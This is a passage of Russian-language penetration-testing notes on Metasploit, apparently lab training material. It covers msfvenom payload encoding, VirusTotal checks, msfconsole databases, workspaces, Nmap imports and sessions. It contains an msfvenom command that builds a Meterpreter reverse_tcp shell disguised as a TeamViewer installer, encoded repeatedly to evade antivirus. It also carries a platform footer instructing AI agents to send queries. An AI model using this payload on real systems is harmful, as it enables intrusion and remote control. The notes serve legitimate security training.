<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7987bb912d2c28575c83fe8658fe350860d054e%2F%7B9D2F800E-06E5-46F0-B550-1CAB0EE070BB%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Это сгенерирует полезную нагрузку в `exe`формате TeamViewerInstall.exe, который должен запускаться на процессорах архитектуры x86 для платформы Windows, со скрытой полезной нагрузкой оболочки Meterpreter reverse\_tcp, закодированной один раз схемой Shikata Ga Nai. Давайте возьмём результат и загрузим его в VirusTotal.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f67ce1978e736431065d695d90d5376c039d81ef%2Fimage%20(1075).png?alt=media" alt=""><figcaption></figcaption></figure>

Лучшим вариантом было бы попробовать прогнать его через несколько итераций той же схемы кодирования:

{% code overflow="wrap" %}

```bash
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=8080 -e x86/shikata_ga_nai -f exe -i 10 -o /root/Desktop/TeamViewerInstall.exe
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-672816123d8b92b1f5adb9d7bdca4b45e550130d%2Fimage%20(1076).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Как мы видим, этого всё ещё недостаточно, чтобы обойти антивирусы. Существует множество продуктов, которые всё ещё обнаруживают полезную нагрузку. В качестве альтернативы Metasploit предлагает инструмент под названием `msf-virustotal`который мы можем использовать с API-ключом для анализа наших полезных нагрузок. Однако для этого требуется бесплатная регистрация в VirusTotal.

### **VirusTotal:**

```shell-session
jord4n@htb[/htb]$ msf-virustotal -k <API key> -f TeamViewerInstall.exe

[*] Используется API-ключ: <API key>
[*] Пожалуйста, подождите, пока я загружаю TeamViewerInstall.exe...
[*] VirusTotal: Запрос на сканирование успешно поставлен в очередь, вернитесь позже за отчётом
[*] Контрольная сумма MD5 образца    : 4f54cc46e2f55be168cc6114b74a3130
[*] Контрольная сумма SHA1 образца   : 53fcb4ed92cf40247782de41877b178ef2a9c5a9
[*] Контрольная сумма SHA256 образца : 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
[*] Ссылка на анализ: https://www.virustotal.com/gui/file/<SNIP>/detection/f-<SNIP>-1651750343
[*] Запрашиваю отчёт...
[*] Получен код -2. Жду ещё 60 секунд...
[*] Получен код -2. Жду ещё 60 секунд...
[*] Получен код -2. Жду ещё 60 секунд...
[*] Получен код -2. Жду ещё 60 секунд...
[*] Получен код -2. Жду ещё 60 секунд...
[*] Получен код -2. Жду ещё 60 секунд...
[*] Отчёт анализа: TeamViewerInstall.exe (51 / 68): 66894cbecf2d9a31220ef811a2ba65c06fdfecddbc729d006fdab10e43368da8
==================================================================================================================

 Антивирус             Обнаружено  Версия                                                         Результат                                                     Обновление
 ---------             --------  -------                                                         ------                                                     ------
 ALYac                 true      1.1.3.1                                                         Trojan.CryptZ.Gen                                          20220505
 APEX                  true      6.288                                                           Вредоносно                                                  20220504
 AVG                   true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Acronis               true      1.2.0.108                                                       подозрительно                                              20220426
 Ad-Aware              true      3.0.21.193                                                      Trojan.CryptZ.Gen                                          20220505
 AhnLab-V3             true      3.21.3.10230                                                    Trojan/Win32.Shell.R1283                                   20220505
 Alibaba               false     0.3.0.5                                                                                                                    20190527
 Antiy-AVL             false     3.0                                                                                                                        20220505
 Arcabit               true      1.0.0.889                                                       Trojan.CryptZ.Gen                                          20220505
 Avast                 true      21.1.5827.0                                                     Win32:SwPatch [Wrm]                                        20220505
 Avira                 true      8.3.3.14                                                        TR/Patched.Gen2                                            20220505
 Baidu                 false     1.0.0.2                                                                                                                    20190318
 BitDefender           true      7.2                                                             Trojan.CryptZ.Gen                                          20220505
 BitDefenderTheta      true      7.2.37796.0                                                     Gen:NN.ZexaF.34638.eq1@aC@Q!ici                            20220428
 Bkav                  true      1.3.0.9899                                                      W32.FamVT.RorenNHc.Trojan                                  20220505
 CAT-QuickHeal         true      14.00                                                           Trojan.Swrort.A                                            20220505
 CMC                   false     2.10.2019.1                                                                                                                20211026
 ClamAV                true      0.105.0.0                                                       Win.Trojan.MSShellcode-6360728-0                           20220505
 Comodo                true      34592                                                           TrojWare.Win32.Rozena.A@4jwdqr                             20220505
 CrowdStrike           true      1.0                                                             win/malicious_confidence_100% (D)                          20220418
 Cylance               true      2.3.1.101                                                       Небезопасно                                                20220505
 Cynet                 true      4.0.0.27                                                        Вредоносно (оценка: 100)                                   20220505
 Cyren                 true      6.5.1.2                                                         W32/Swrort.A.gen!Eldorado                                  20220505
 DrWeb                 true      7.0.56.4040                                                     Trojan.Swrort.1                                            20220505
 ESET-NOD32            true      25218                                                           вариант Win32/Rozena.AA                                    20220505
 Elastic               true      4.0.36                                                          вредоносно (высокая уверенность)                           20220503
 Emsisoft              true      2021.5.0.7597                                                   Trojan.CryptZ.Gen (B)                                      20220505
 F-Secure              false     18.10.978-beta,1651672875v,1651675347h,1651717942c,1650632236t                                                             20220505
 FireEye               true      35.24.1.0                                                       Generic.mg.4f54cc46e2f55be1                                20220505
 Fortinet              true      6.2.142.0                                                       MalwThreat!0971IV                                          20220505
 GData                 true      A:25.32960B:27.27244                                            Trojan.CryptZ.Gen                                          20220505
 Gridinsoft            true      1.0.77.174                                                      Trojan.Win32.Swrort.zv!s2                                  20220505
 Ikarus                true      6.0.24.0                                                        Trojan.Win32.Swrort                                        20220505
 Jiangmin              false     16.0.100                                                                                                                   20220504
 K7AntiVirus           true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 K7GW                  true      12.10.42191                                                     Trojan ( 001172b51 )                                       20220505
 Kaspersky             true      21.0.1.45                                                       HEUR:Trojan.Win32.Generic                                  20220505
 Kingsoft              false     2017.9.26.565                                                                                                              20220505
 Lionic                false     7.5                                                                                                                        20220505
 MAX                   true      2019.9.16.1                                                     вредоносное ПО (оценка ИИ=89)                              20220505
 Malwarebytes          true      4.2.2.27                                                        Trojan.Rozena                                              20220505
 MaxSecure             true      1.0.0.1                                                         Trojan.Malware.300983.susgen                               20220505
 McAfee                true      6.0.6.653                                                       Swrort.i                                                   20220505
 McAfee-GW-Edition     true      v2019.1.2+3728                                                  Ведёт себя как Win32.Swrort.lh                             20220505
 MicroWorld-eScan      true      14.0.409.0                                                      Trojan.CryptZ.Gen                                          20220505
 Microsoft             true      1.1.19200.5                                                     Trojan:Win32/Meterpreter.A                                 20220505
 NANO-Antivirus        true      1.0.146.25588                                                   Virus.Win32.Gen-Crypt.ccnc                                 20220505
 Paloalto              false     0.9.0.1003                                                                                                                 20220505
 Panda                 false     4.6.4.2                                                                                                                    20220504
 Rising                true      25.0.0.27                                                       Trojan.Generic@AI.100 (RDMK:cmRtazqDtX58xtB5RYP2bMLR5Bv1)  20220505
 SUPERAntiSpyware      true      5.6.0.1032                                                      Trojan.Backdoor-Shell                                      20220430
 Sangfor               true      2.14.0.0                                                        Trojan.Win32.Save.a                                        20220415
 SentinelOne           true      22.2.1.2                                                        Static AI - Вредоносный PE                                 20220330
 Sophos                true      1.4.1.0                                                         ML/PE-A + Mal/EncPk-ACE                                    20220505
 Symantec              true      1.17.0.0                                                        Packed.Generic.347                                         20220505
 TACHYON               false     2022-05-05.02                                                                                                              20220505
 Tencent               true      1.0.0.1                                                         Trojan.Win32.Cryptz.za                                     20220505
 TrendMicro            true      11.0.0.1006                                                     BKDR_SWRORT.SM                                             20220505
 TrendMicro-HouseCall  true      10.0.0.1040                                                     BKDR_SWRORT.SM                                             20220505
 VBA32                 false     5.0.0                                                                                                                      20220505
 ViRobot               true      2014.3.20.0                                                     Trojan.Win32.Elzob.Gen                                     20220504
 VirIT                 false     9.5.188                                                                                                                    20220504
 Webroot               false     1.0.0.403                                                                                                                  20220505
 Yandex                true      5.5.2.24                                                        Trojan.Rosena.Gen.1                                        20220428
 Zillya                false     2.0.0.4625                                                                                                                 20220505
 ZoneAlarm             true      1.0                                                             HEUR:Trojan.Win32.Generic                                  20220505
 Zoner                 false     2.2.2.0                                                                                                                    20220504
 tehtris               false     v0.1.2                                                                                                                     20220505
```

## Базы данных:

{% hint style="info" %}
`Базы данных`используются `msfconsole`для отслеживания ваших результатов. Неудивительно, что при оценке ещё более сложных машин, не говоря уже о целых сетях, всё может стать немного размытым и запутанным из-за огромного количества результатов поиска, точек входа, обнаруженных проблем, найденных учётных данных и т. д. Именно здесь на сцену выходят базы данных. `msfconsole` имеет встроенную поддержку системы баз данных PostgreSQL. С её помощью мы получаем прямой, быстрый и удобный доступ к результатам анализа, а также возможность импортировать и экспортировать результаты в сочетании со сторонними инструментами. Записи базы данных также можно использовать для прямой настройки модуля Exploit на основе уже существующих результатов.
{% endhint %}

### Настройка базы данных

Сначала нужно убедиться, что сервер PostgreSQL запущен на нашей хост-машине. Для этого выполните следующую команду:

**Статус PostgreSQL**

```bash
sudo service postgresql status
```

**Запустить PostgreSQL**

```bash
sudo systemctl start postgresql
```

**Запустить базу данных**

```bash
sudo msfdb init
```

**Соединение с базой данных установлено**

```bash
sudo msfdb run
```

{% hint style="warning" %}
Если же мы уже настроили базу данных и не можем изменить пароль пользователя MSF, выполните следующие команды:
{% endhint %}

**Сброс базы данных**

```bash
msfdb reinit
cp /usr/share/metasploit-framework/config/database.yml ~/.msf4/
sudo service postgresql restart
msfconsole -q
```

### Использование базы данных

```bash
help database

Команды бэкенда базы данных
=========================

    Команда           Описание
    -------           -----------
    db_connect        Подключиться к существующей базе данных
    db_disconnect     Отключиться от текущего экземпляра базы данных
    db_export         Экспортировать файл, содержащий содержимое базы данных
    db_import         Импортировать файл с результатом сканирования (тип файла будет определён автоматически)
    db_nmap           Выполняет nmap и автоматически записывает вывод
    db_rebuild_cache  Перестраивает кэш модулей, хранящийся в базе данных
    db_status         Показать текущий статус базы данных
    hosts             Показать список всех хостов в базе данных
    loot              Показать весь добытый материал в базе данных
    notes             Показать все заметки в базе данных
    services          Показать все службы в базе данных
    vulns             Показать все уязвимости в базе данных
    workspace         Переключаться между рабочими областями базы данных
```

После подтверждения, что база данных корректно подключена, мы можем организовать наши `Рабочие области`

#### Рабочие области:

Мы можем представить это `Рабочие области`так же, как мы думаем о файлах проекта. Мы можем разделять разные результаты сканирования, хосты и извлечённую информацию по IP, подсети, сети или домену.

```bash
workspace -a Target_1

[*] Добавлена рабочая область: Target_1
[*] Рабочая область: Target_1

msf6 > workspace Target_1

[*] Рабочая область: Target_1

msf6 > workspace

  по умолчанию
* Target_1
```

### Импорт результатов сканирования

Далее предположим, что мы хотим импортировать `сканирование Nmap`файл с хоста в нашу рабочую область базы данных, чтобы лучше понять цель

```bash
msf6 > db_import Target.xml

[*] Импорт данных 'Nmap XML'
[*] Импорт: разбор с помощью 'Nokogiri v1.10.9'
[*] Импорт хоста 10.10.10.40
[*] Успешно импортирован ~/Target.xml

msf6 > hosts

Хосты
=====

адрес      mac  имя  ОС_имя  ОС_вариант  ОС_sp  назначение  информация  комментарии
-------      ---  ----  -------  ---------  -----  -------  ----  --------
10.10.10.40             Неизвестно                    устройство

msf6 > services

Службы
========

хост         порт   протокол  имя          состояние  информация
----         ----   -----  ----          -----  ----
10.10.10.40  135    tcp    msrpc         открыт   Microsoft Windows RPC
10.10.10.40  139    tcp    netbios-ssn   открыт   Microsoft Windows netbios-ssn
10.10.10.40  445    tcp    microsoft-ds  открыт   Microsoft Windows 7 - 10 microsoft-ds, рабочая группа: WORKGROUP
10.10.10.40  49152  tcp    msrpc         открыт   Microsoft Windows RPC
10.10.10.40  49153  tcp    msrpc         открыт   Microsoft Windows RPC
10.10.10.40  49154  tcp    msrpc         открыт   Microsoft Windows RPC
10.10.10.40  49155  tcp    msrpc         открыт   Microsoft Windows RPC
10.10.10.40  49156  tcp    msrpc         открыт   Microsoft Windows RPC
10.10.10.40  49157  tcp    msrpc         открыт   Microsoft Windows RPC
```

### Использование Nmap внутри MSFconsole

В качестве альтернативы мы можем использовать Nmap напрямую из msfconsole! Чтобы выполнять сканирование прямо из консоли, не переходя в фон и не выходя из процесса, используйте `db_nmap`команду.

```bash
db_nmap -sV -sS 10.10.10.8

[*] Nmap: Запуск Nmap 7.80 ( https://nmap.org ) в 2020-08-17 21:04 UTC
[*] Nmap: Отчёт сканирования Nmap для 10.10.10.8
[*] Nmap: Хост доступен (задержка 0.016с).
[*] Nmap: Не показано: 999 отфильтрованных портов
[*] Nmap: ПОРТ   СОСТОЯНИЕ СЛУЖБА ВЕРСИЯ
[*] Nmap: 80/TCP открыт  http    HttpFileServer httpd 2.3
[*] Nmap: Информация о службе: ОС: Windows; CPE: cpe:/o:microsoft:windows
```

### Резервное копирование данных

После завершения сеанса обязательно создайте резервную копию данных, если что-то случится со службой PostgreSQL. Для этого используйте `db_export`команду.

```bash
db_export -h

Использование:
    db_export -f <format> [filename]
    Формат может быть одним из: xml, pwdump
```

#### Хосты:

Хосты также можно добавлять вручную как отдельные записи в этой таблице. После добавления наших собственных хостов мы также можем организовать формат и структуру таблицы, добавлять комментарии, редактировать существующую информацию и многое другое.

```bash
hosts -h

Использование: hosts [ options ] [addr1 addr2 ...]

ПАРАМЕТРЫ:
  -a,--add          Добавить хосты вместо поиска
  -d,--delete       Удалить хосты вместо поиска
  -c <col1,col2>    Показывать только указанные столбцы (см. список ниже)
  -C <col1,col2>    Показывать только указанные столбцы до следующего перезапуска (см. список ниже)
  -h,--help         Показать эту справочную информацию
  -u,--up           Показывать только хосты, которые доступны
  -o <file>         Отправить вывод в файл в формате CSV
  -O <column>       Сортировать строки по указанному номеру столбца
  -R,--rhosts       Установить RHOSTS по результатам поиска
  -S,--search       Строка поиска для фильтрации
  -i,--info         Изменить информацию о хосте
  -n,--name         Изменить имя хоста
  -m,--comment      Изменить комментарий хоста
  -t,--tag          Добавить или указать тег для диапазона хостов
```

#### Службы `службы`команда работает так же, как и предыдущая. Она содержит таблицу с описаниями и информацией о службах, обнаруженных во время сканирования или взаимодействия. Подобно команде выше, записи здесь очень гибко настраиваются.

```bash
services -h

Использование: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]

  -a,--add          Добавить службы вместо поиска
  -d,--delete       Удалить службы вместо поиска
  -c <col1,col2>    Показывать только указанные столбцы
  -h,--help         Показать эту справочную информацию
  -s <name>         Имя службы для добавления
  -p <port>         Искать список портов
  -r <protocol>     Тип протокола добавляемой службы [tcp|udp]
  -u,--up           Показывать только работающие службы
  -o <file>         Отправить вывод в файл в формате csv
  -O <column>       Сортировать строки по указанному номеру столбца
  -R,--rhosts       Установить RHOSTS по результатам поиска
  -S,--search       Строка поиска для фильтрации
  -U,--update       Обновить данные существующей службы
```

#### Учетные данные

Эта `creds`команда позволяет просматривать учётные данные, собранные во время взаимодействия с целевым хостом. Мы также можем добавлять учётные данные вручную, сопоставлять существующие учётные данные с указаниями портов, добавлять описания и т. д.

## Сеансы:

### Сеансы

> MSFconsole может управлять несколькими модулями одновременно. Это одна из многих причин, по которым она предоставляет пользователю такую гибкость. Это достигается с помощью `Сеансы`, которая создаёт отдельные интерфейсы управления для всех развёрнутых модулей.
>
> Когда создано несколько сеансов, мы можем переключаться между ними и привязывать другой модуль к одному из фоновых сеансов, чтобы запустить его или превратить их в задачи. Имейте в виду, что после отправки сеанса в фон он продолжит работать, и наше соединение с целевым хостом сохранится. Однако сеансы могут завершиться, если во время выполнения полезной нагрузки что-то пойдёт не так, из-за чего канал связи разорвётся.

**Список активных сеансов**

Мы можем использовать `sessions`команда для просмотра наших текущих активных сеансов.

```bash
msf6 exploit(windows/smb/psexec_psh) > sessions

Активные сеансы
===============

  Id  Имя  Тип                     Информация                 Соединение
  --  ----  ----                     -----------                 ----------
  1         meterpreter x86/windows  NT AUTHORITY/SYSTEM @ MS01  10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205)
```

**Работа с сеансом**

Вы можете использовать `sessions -i [no.]`команда для открытия определённого сеанса.

```shell-session
msf6 exploit(windows/smb/psexec_psh) > sessions -i 1
[*] Начинаю взаимодействие с 1...

meterpreter >
```

### Все заметки

<table><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/ru/hacking-tools/exploitation/metasploit/metasploit-enumeration-services.md">Перечисление сервисов с Metasploit</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/hacking-tools/exploitation/metasploit.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
